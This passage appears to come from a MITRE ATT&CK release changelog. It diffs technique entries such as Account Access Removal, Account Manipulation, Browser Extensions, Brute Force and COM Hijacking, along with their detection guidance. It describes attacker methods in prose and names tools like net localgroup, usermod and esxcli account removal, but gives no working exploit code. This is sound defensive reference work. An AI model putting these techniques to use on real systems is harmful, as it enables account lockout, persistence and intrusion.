within a virtual machine or sandbox, or may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionTime-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.
x_mitre_version1.32.0
iterable_item_removed
STIX FieldOld valueNew Value
external_references{'source_name': 'Joe Sec Nymaim', 'description': 'Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021.', 'url': 'https://www.joesecurity.org/blog/3660886847485093803'}
external_references{'source_name': 'Joe Sec Trickbot', 'description': "Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021.", 'url': 'https://www.joesecurity.org/blog/498839998833561473'}
external_references{'source_name': 'Revil Independence Day', 'description': 'Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021.', 'url': 'https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/'}
external_references{'source_name': 'Netskope Nitol', 'description': 'Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021.', 'url': 'https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique'}
external_references{'source_name': 'Deloitte Environment Awareness', 'description': 'Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.', 'url': 'https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit'}
Minor Version Changes

[T1531] Account Access Removal

Current version: 1.5

Version changed from: 1.4 → 1.5

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may interrupt availability of system and networkt1Adversaries may interrupt availability of system and network
> resources by inhibiting access to accounts utilized by legi> resources by inhibiting access to accounts utilized by legi
>timate users. Accounts may be deleted, locked, or manipulate>timate users. Accounts may be deleted, locked, or manipulate
>d (ex: changed credentials) to remove access to accounts. Ad>d (ex: changed credentials, revoked permissions for SaaS pla
>versaries may also subsequently log off and/or perform a [Sy>tforms such as Sharepoint) to remove access to accounts.(Cit
>stem Shutdown/Reboot](https://attack.mitre.org/techniques/T1>ation: Obsidian Security SaaS Ransomware June 2023) Adversar
>529) to set malicious changes into place.(Citation: CarbonBl>ies may also subsequently log off and/or perform a [System S
>ack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)  In W>hutdown/Reboot](https://attack.mitre.org/techniques/T1529) t
>indows, [Net](https://attack.mitre.org/software/S0039) utili>o set malicious changes into place.(Citation: CarbonBlack Lo
>ty, <code>Set-LocalUser</code> and <code>Set-ADAccountPasswo>ckerGoga 2019)(Citation: Unit42 LockerGoga 2019)  In Windows
>rd</code> [PowerShell](https://attack.mitre.org/techniques/T>, [Net](https://attack.mitre.org/software/S0039) utility, <c
>1059/001) cmdlets may be used by adversaries to modify user >ode>Set-LocalUser</code> and <code>Set-ADAccountPassword</co
>accounts. Accounts could also be disabled by Group Policy. I>de> [PowerShell](https://attack.mitre.org/techniques/T1059/0
>n Linux, the <code>passwd</code> utility may be used to chan>01) cmdlets may be used by adversaries to modify user accoun
>ge passwords. On ESXi servers, accounts can be removed or mo>ts. Accounts could also be disabled by Group Policy. In Linu
>dified via esxcli (`system account set`, `system account rem>x, the <code>passwd</code> utility may be used to change pas
>ove`).  Adversaries who use ransomware or similar attacks ma>swords. On ESXi servers, accounts can be removed or modified
>y first perform this and other Impact behaviors, such as [Da> via esxcli (`system account set`, `system account remove`).
>ta Destruction](https://attack.mitre.org/techniques/T1485) a>  Adversaries who use ransomware or similar attacks may firs
>nd [Defacement](https://attack.mitre.org/techniques/T1491), >t perform this and other Impact behaviors, such as [Data Des
>in order to impede incident response/recovery before complet>truction](https://attack.mitre.org/techniques/T1485) and [De
>ing the [Data Encrypted for Impact](https://attack.mitre.org>facement](https://attack.mitre.org/techniques/T1491), in ord
>/techniques/T1486) objective. >er to impede incident response/recovery before completing th
 >e [Data Encrypted for Impact](https://attack.mitre.org/techn
 >iques/T1486) objective. 

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Active Directory: Active Directory Object Modification', 'User Account: User Account Modification', 'User Account: User Account Deletion']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:58.987000+00:002025-10-24 17:49:14.836000+00:00
descriptionAdversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019) + +In Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the passwd utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`). + +Adversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials, revoked permissions for SaaS platforms such as Sharepoint) to remove access to accounts.(Citation: Obsidian Security SaaS Ransomware June 2023) Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019) + +In Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the passwd utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`). + +Adversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective.
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionUse process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account: + +* Event ID 4723 - An attempt was made to change an account's password +* Event ID 4724 - An attempt was made to reset an account's password +* Event ID 4726 - A user account was deleted +* Event ID 4740 - A user account was locked out + +Alerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.
x_mitre_version1.41.5
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Obsidian Security SaaS Ransomware June 2023', 'description': 'Obsidian Threat Research Team. (2023, June 6). SaaS Ransomware Observed in the Wild for Sharepoint in Microsoft 365. Retrieved October 5, 2025.', 'url': 'https://web.archive.org/web/20230608061141/https://www.obsidiansecurity.com/blog/saas-ransomware-observed-sharepoint-microsoft-365/'}
x_mitre_contributorsLiran Ravich, CardinalOps

[T1583] Acquire Infrastructure

Current version: 1.5

Version changed from: 1.4 → 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Internet Scan: Response Metadata', 'Internet Scan: Response Content', 'Domain Name: Active DNS', 'Domain Name: Passive DNS', 'Domain Name: Domain Registration']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:44:09.753000+00:002025-10-24 17:48:20.468000+00:00
x_mitre_detectionConsider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. + +Once adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
x_mitre_version1.41.5

[T1098.007] Account Manipulation: Additional Local or Domain Groups

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1An adversary may add additional local or domain groups to ant1An adversary may add additional local or domain groups to an
> adversary-controlled account to maintain persistent access > adversary-controlled account to maintain persistent access 
>to a system or domain.  On Windows, accounts may use the `ne>to a system or domain.  On Windows, accounts may use the `ne
>t localgroup` and `net group` commands to add existing users>t localgroup` and `net group` commands to add existing users
> to local and domain groups.(Citation: Microsoft Net Localgr> to local and domain groups.(Citation: Microsoft Net Localgr
>oup)(Citation: Microsoft Net Group) On Linux, adversaries ma>oup)(Citation: Microsoft Net Group) On Linux, adversaries ma
>y use the `usermod` command for the same purpose.(Citation: >y use the `usermod` command for the same purpose.(Citation: 
>Linux Usermod)  For example, accounts may be added to the lo>Linux Usermod)  For example, accounts may be added to the lo
>cal administrators group on Windows devices to maintain elev>cal administrators group on Windows devices to maintain elev
>ated privileges. They may also be added to the Remote Deskto>ated privileges. They may also be added to the Remote Deskto
>p Users group, which allows them to leverage [Remote Desktop>p Users group, which allows them to leverage [Remote Desktop
> Protocol](https://attack.mitre.org/techniques/T1021/001) to> Protocol](https://attack.mitre.org/techniques/T1021/001) to
> log into the endpoints in the future.(Citation: Microsoft R> log into the endpoints in the future.(Citation: Microsoft R
>DP Logons) On Linux, accounts may be added to the sudoers gr>DP Logons) Adversaries may also add accounts to VPN user gro
>oup, allowing them to persistently leverage [Sudo and Sudo C>ups to gain future persistence on the network.(Citation: Cyb
>aching](https://attack.mitre.org/techniques/T1548/003) for e>er Security News) On Linux, accounts may be added to the sud
>levated privileges.   In Windows environments, machine accou>oers group, allowing them to persistently leverage [Sudo and
>nts may also be added to domain groups. This allows the loca> Sudo Caching](https://attack.mitre.org/techniques/T1548/003
>l SYSTEM account to gain privileges on the domain.(Citation:>) for elevated privileges.   In Windows environments, machin
> RootDSE AD Detection 2022)>e accounts may also be added to domain groups. This allows t
 >he local SYSTEM account to gain privileges on the domain.(Ci
 >tation: RootDSE AD Detection 2022)

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['User Account: User Account Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:47:40.787000+00:002025-09-26 18:25:02.290000+00:00
descriptionAn adversary may add additional local or domain groups to an adversary-controlled account to maintain persistent access to a system or domain. + +On Windows, accounts may use the `net localgroup` and `net group` commands to add existing users to local and domain groups.(Citation: Microsoft Net Localgroup)(Citation: Microsoft Net Group) On Linux, adversaries may use the `usermod` command for the same purpose.(Citation: Linux Usermod) + +For example, accounts may be added to the local administrators group on Windows devices to maintain elevated privileges. They may also be added to the Remote Desktop Users group, which allows them to leverage [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) to log into the endpoints in the future.(Citation: Microsoft RDP Logons) On Linux, accounts may be added to the sudoers group, allowing them to persistently leverage [Sudo and Sudo Caching](https://attack.mitre.org/techniques/T1548/003) for elevated privileges. + +In Windows environments, machine accounts may also be added to domain groups. This allows the local SYSTEM account to gain privileges on the domain.(Citation: RootDSE AD Detection 2022)An adversary may add additional local or domain groups to an adversary-controlled account to maintain persistent access to a system or domain. + +On Windows, accounts may use the `net localgroup` and `net group` commands to add existing users to local and domain groups.(Citation: Microsoft Net Localgroup)(Citation: Microsoft Net Group) On Linux, adversaries may use the `usermod` command for the same purpose.(Citation: Linux Usermod) + +For example, accounts may be added to the local administrators group on Windows devices to maintain elevated privileges. They may also be added to the Remote Desktop Users group, which allows them to leverage [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) to log into the endpoints in the future.(Citation: Microsoft RDP Logons) Adversaries may also add accounts to VPN user groups to gain future persistence on the network.(Citation: Cyber Security News) On Linux, accounts may be added to the sudoers group, allowing them to persistently leverage [Sudo and Sudo Caching](https://attack.mitre.org/techniques/T1548/003) for elevated privileges. + +In Windows environments, machine accounts may also be added to domain groups. This allows the local SYSTEM account to gain privileges on the domain.(Citation: RootDSE AD Detection 2022)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.01.1
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Cyber Security News', 'description': 'Kaaviya. (n.d.). SuperBlack Actors Exploiting Two Fortinet Vulnerabilities to Deploy Ransomware. Retrieved September 22, 2025.', 'url': 'https://cybersecuritynews.com/superblack-actors-exploiting-two-fortinet-vulnerabilities/'}

[T1583.005] Acquire Infrastructure: Botnet

Current version: 1.2

Version changed from: 1.1 → 1.2

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 13:29:34.161000+00:002025-10-24 17:48:36.255000+00:00
x_mitre_detectionMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).
x_mitre_version1.11.2

[T1176.001] Software Extensions: Browser Extensions

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may abuse internet browser extensions to establit1Adversaries may abuse internet browser extensions to establi
>sh persistent access to victim systems. Browser extensions o>sh persistent access to victim systems. Browser extensions o
>r plugins are small programs that can add functionality to a>r plugins are small programs that can add functionality to a
>nd customize aspects of internet browsers. They can be insta>nd customize aspects of internet browsers. They can be insta
>lled directly via a local file or custom URL or through a br>lled directly via a local file or custom URL or through a br
>owser's app store - an official online platform where users >owser's app store - an official online platform where users 
>can browse, install, and manage extensions for a specific we>can browse, install, and manage extensions for a specific we
>b browser. Extensions generally inherit the web browser's pe>b browser. Extensions generally inherit the web browser's pe
>rmissions previously granted.(Citation: Wikipedia Browser Ex>rmissions previously granted.(Citation: Wikipedia Browser Ex
>tension)(Citation: Chrome Extensions Definition)    Maliciou>tension)(Citation: Chrome Extensions Definition)    Maliciou
>s extensions can be installed into a browser through malicio>s extensions can be installed into a browser through malicio
>us app store downloads masquerading as legitimate extensions>us app store downloads masquerading as legitimate extensions
>, through social engineering, or by an adversary that has al>, through social engineering, or by an adversary that has al
>ready compromised a system. Security can be limited on brows>ready compromised a system. Security can be limited on brows
>er app stores, so it may not be difficult for malicious exte>er app stores, so it may not be difficult for malicious exte
>nsions to defeat automated scanners.(Citation: Malicious Chr>nsions to defeat automated scanners.(Citation: Malicious Chr
>ome Extension Numbers) Depending on the browser, adversaries>ome Extension Numbers) Depending on the browser, adversaries
> may also manipulate an extension's update url to install up> may also manipulate an extension's update url to install up
>dates from an adversary-controlled server or manipulate the >dates from an adversary-controlled server or manipulate the 
>mobile configuration file to silently install additional ext>mobile configuration file to silently install additional ext
>ensions.     Previous to macOS 11, adversaries could silentl>ensions.   Adversaries may abuse how chromium-based browsers
>y install browser extensions via the command line using the > load extensions by modifying or replacing the Preferences a
><code>profiles</code> tool to install malicious <code>.mobil>nd/or Secure Preferences files to silently install malicious
>econfig</code> files. In macOS 11+, the use of the <code>pro> extensions. When the browser is not running, adversaries ca
>files</code> tool can no longer install configuration profil>n alter these files, ensuring the extension is loaded, grant
>es; however, <code>.mobileconfig</code> files can be planted>ed desired permissions, and will persist in browser sessions
> and installed with user interaction.(Citation: xorrior chro>. This method does not require user consent and extensions a
>me extensions macOS)    Once the extension is installed, it >re silently loaded in the background from disk or from the b
>can browse to websites in the background, steal all informat>rowser's trusted store.(Citation: Pulsedive)    Previous to 
>ion that a user enters into a browser (including credentials>macOS 11, adversaries could silently install browser extensi
>), and be used as an installer for a RAT for persistence.(Ci>ons via the command line using the <code>profiles</code> too
>tation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chro>l to install malicious <code>.mobileconfig</code> files. In 
>me Extensions)(Citation: Banker Google Chrome Extension Stea>macOS 11+, the use of the <code>profiles</code> tool can no 
>ls Creds)(Citation: Catch All Chrome Extension)   There have>longer install configuration profiles; however, <code>.mobil
> also been instances of botnets using a persistent backdoor >econfig</code> files can be planted and installed with user 
>through malicious Chrome extensions for [Command and Control>interaction.(Citation: xorrior chrome extensions macOS)    O
>](https://attack.mitre.org/tactics/TA0011).(Citation: Stanti>nce the extension is installed, it can browse to websites in
>nko Botnet)(Citation: Chrome Extension C2 Malware) Adversari> the background, steal all information that a user enters in
>es may also use browser extensions to modify browser permiss>to a browser (including credentials), and be used as an inst
>ions and components, privacy settings, and other security co>aller for a RAT for persistence.(Citation: Chrome Extension 
>ntrols for [Defense Evasion](https://attack.mitre.org/tactic>Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: 
>s/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adr>Banker Google Chrome Extension Steals Creds)(Citation: Catch
>ozek) > All Chrome Extension)   There have also been instances of b
 >otnets using a persistent backdoor through malicious Chrome 
 >extensions for [Command and Control](https://attack.mitre.or
 >g/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chr
 >ome Extension C2 Malware) Adversaries may also use browser e
 >xtensions to modify browser permissions and components, priv
 >acy settings, and other security controls for [Defense Evasi
 >on](https://attack.mitre.org/tactics/TA0005).(Citation: Brow
 >ers FriarFox)(Citation: Browser Adrozek) 

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_contributors['Gordon Long, LegioX/Zoom, asaurusrex']
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Windows Registry: Windows Registry Key Creation', 'Process: Process Creation', 'Command: Command Execution', 'File: File Creation', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:15.232000+00:002025-09-22 17:00:42.545000+00:00
descriptionAdversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition) + +Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions. + +Previous to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles; however, .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS) + +Once the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) + +There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek) Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition) + +Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions. + +Adversaries may abuse how chromium-based browsers load extensions by modifying or replacing the Preferences and/or Secure Preferences files to silently install malicious extensions. When the browser is not running, adversaries can alter these files, ensuring the extension is loaded, granted desired permissions, and will persist in browser sessions. This method does not require user consent and extensions are silently loaded in the background from disk or from the browser's trusted store.(Citation: Pulsedive) + +Previous to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles; however, .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS) + +Once the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) + +There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.01.1
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Pulsedive', 'description': ' Pulsedive Threat Research. (2025, March 21). Rilide - An Information Stealing Browser Extension. Retrieved September 22, 2025.', 'url': 'https://blog.pulsedive.com/rilide-an-information-stealing-browser-extension/'}

[T1110] Brute Force

Current version: 2.8

Version changed from: 2.7 → 2.8

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may use brute force techniques to gain access tot1Adversaries may use brute force techniques to gain access to
> accounts when passwords are unknown or when password hashes> accounts when passwords are unknown or when password hashes
> are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Wit> are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Wit
>hout knowledge of the password for an account or set of acco>hout knowledge of the password for an account or set of acco
>unts, an adversary may systematically guess the password usi>unts, an adversary may systematically guess the password usi
>ng a repetitive or iterative mechanism.(Citation: Dragos Cra>ng a repetitive or iterative mechanism.(Citation: Dragos Cra
>shoverride 2018) Brute forcing passwords can take place via >shoverride 2018) Brute forcing passwords can take place via 
>interaction with a service that will check the validity of t>interaction with a service that will check the validity of t
>hose credentials or offline against previously acquired cred>hose credentials or offline against previously acquired cred
>ential data, such as password hashes.  Brute forcing credent>ential data, such as password hashes.  Brute forcing credent
>ials may take place at various points during a breach. For e>ials may take place at various points during a breach. For e
>xample, adversaries may attempt to brute force access to [Va>xample, adversaries may attempt to brute force access to [Va
>lid Accounts](https://attack.mitre.org/techniques/T1078) wit>lid Accounts](https://attack.mitre.org/techniques/T1078) wit
>hin a victim environment leveraging knowledge gathered from >hin a victim environment leveraging knowledge gathered from 
>other post-compromise behaviors such as [OS Credential Dumpi>other post-compromise behaviors such as [OS Credential Dumpi
>ng](https://attack.mitre.org/techniques/T1003), [Account Dis>ng](https://attack.mitre.org/techniques/T1003), [Account Dis
>covery](https://attack.mitre.org/techniques/T1087), or [Pass>covery](https://attack.mitre.org/techniques/T1087), or [Pass
>word Policy Discovery](https://attack.mitre.org/techniques/T>word Policy Discovery](https://attack.mitre.org/techniques/T
>1201). Adversaries may also combine brute forcing activity w>1201). Adversaries may also combine brute forcing activity w
>ith behaviors such as [External Remote Services](https://att>ith behaviors such as [External Remote Services](https://att
>ack.mitre.org/techniques/T1133) as part of Initial Access.>ack.mitre.org/techniques/T1133) as part of Initial Access.  
 > If an adversary guesses the correct password but fails to l
 >ogin to a compromised account due to location-based conditio
 >nal access policies, they may change their infrastructure un
 >til they match the victim’s location and therefore bypass th
 >ose policies.(Citation: ReliaQuest Health Care Social Engine
 >ering Campaign 2024)

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['User Account: User Account Authentication', 'Command: Command Execution', 'Application Log: Application Log Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:56.556000+00:002025-10-24 17:49:12.218000+00:00
descriptionAdversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. + +Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. + +Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. + +If an adversary guesses the correct password but fails to login to a compromised account due to location-based conditional access policies, they may change their infrastructure until they match the victim’s location and therefore bypass those policies.(Citation: ReliaQuest Health Care Social Engineering Campaign 2024)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionMonitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network.
x_mitre_version2.72.8
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'ReliaQuest Health Care Social Engineering Campaign 2024', 'description': 'Hayden Evans. (2024, April 4). Health Care Social Engineering Campaign. Retrieved May 22, 2025.', 'url': 'https://www.reliaquest.com/blog/health-care-social-engineering-campaign/'}
x_mitre_contributorsReliaQuest

[T1546.015] Event Triggered Execution: Component Object Model Hijacking

Current version: 1.3

Version changed from: 1.2 → 1.3

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may establish persistence by executing malicioust1Adversaries may establish persistence by executing malicious
> content triggered by hijacked references to Component Objec> content triggered by hijacked references to Component Objec
>t Model (COM) objects. COM is a system within Windows to ena>t Model (COM) objects. COM is a system within Windows to ena
>ble interaction between software components through the oper>ble interaction between software components through the oper
>ating system.(Citation: Microsoft Component Object Model)  R>ating system.(Citation: Microsoft Component Object Model)  R
>eferences to various COM objects are stored in the Registry.>eferences to various COM objects are stored in the Registry.
>   Adversaries can use the COM system to insert malicious co>   Adversaries may use the COM system to insert malicious co
>de that can be executed in place of legitimate software thro>de that can be executed in place of legitimate software thro
>ugh hijacking the COM references and relationships as a mean>ugh hijacking the COM references and relationships as a mean
>s for persistence. Hijacking a COM object requires a change >s for persistence. Hijacking a COM object requires a change 
>in the Registry to replace a reference to a legitimate syste>in the Registry to replace a reference to a legitimate syste
>m component which may cause that component to not work when >m component which may cause that component to not work when 
>executed. When that system component is executed through nor>executed. When that system component is executed through nor
>mal system operation the adversary's code will be executed i>mal system operation the adversary's code will be executed i
>nstead.(Citation: GDATA COM Hijacking) An adversary is likel>nstead.(Citation: GDATA COM Hijacking) An adversary is likel
>y to hijack objects that are used frequently enough to maint>y to hijack objects that are used frequently enough to maint
>ain a consistent level of persistence, but are unlikely to b>ain a consistent level of persistence, but are unlikely to b
>reak noticeable functionality within the system as to avoid >reak noticeable functionality within the system as to avoid 
>system instability that could lead to detection. >system instability that could lead to detection.   One varia
